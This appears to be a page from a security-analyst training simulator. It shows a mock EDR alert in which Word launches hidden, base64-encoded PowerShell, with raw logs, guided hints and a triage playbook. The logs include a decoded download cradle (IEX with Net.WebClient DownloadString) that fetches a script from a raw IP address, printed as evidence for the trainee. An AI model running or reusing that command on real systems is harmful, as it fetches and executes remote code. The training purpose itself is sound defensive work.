Encoded PowerShell download cradle on a finance workstation
A-104900:00time on this alert, target 10 minutes
Back to queueAlert details
- Source
- EDR
- Detection rule
- EDR-PS-ENCODED-011
- Affected user
- j.rivera
- Affected host
- WKS-FINANCE-14
- Source IP
- 91.203.5.88
- First seen
- 2026-07-24T14:38:00Z
Why this fired, in plain English
PowerShell was started with hidden, scrambled instructions — a common way to hide what a script is really doing.
Suggested playbook
Suspicious PowerShell execution
- 1. Decode any base64 in the command line and read the actual script.
- 2. Check the parent process. ccmexec.exe or services.exe is usually management; WINWORD.EXE is not.
- 3. Check whether the script file is signed, and by whom.
- 4. Look for outbound connections made by powershell.exe and whether they were blocked.
Raw log evidence
Exactly what the tools recorded — 3 events.
Guided hint: this line matters
ts=2026-07-24T14:37:51Z host=WKS-FINANCE-14 EventID=4688 process_name="powershell.exe" parent_process="WINWORD.EXE" user="j.rivera" cmdline="powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAA..."
Word should never launch PowerShell. -w hidden hides the window and -enc means the command is base64-scrambled.
Guided hint: this line matters
ts=2026-07-24T14:37:52Z host=WKS-FINANCE-14 sensor=edr event=script_block_decoded content="IEX(New-Object Net.WebClient).DownloadString('http://91.203.5.88/a.ps1')"
Decoded, it downloads a script from a raw IP address and runs it straight in memory.
Guided hint: this line matters
ts=2026-07-24T14:37:54Z host=WKS-FINANCE-14 sensor=edr event=network_connect dest_ip=91.203.5.88 dest_port=80 process="powershell.exe" bytes_in=0 result=blocked_by_proxy
The download was blocked, so the second-stage payload never arrived.
Related events
The order things happened in.
14:37Z
Word spawns hidden PowerShell
14:37Z
Download cradle decoded
14:37Z
Outbound fetch blocked by proxy
Enrichment lookups
Mock lookups. Run each one yourself — a real analyst never guesses what a lookup would have said. There is no "run everything" button on purpose.
Not checked yet.
Not checked yet.
Not checked yet.
Not checked yet.
techniques
Your verdict
Keyboard shortcuts 1–4, or click. You can always change your mind afterwards.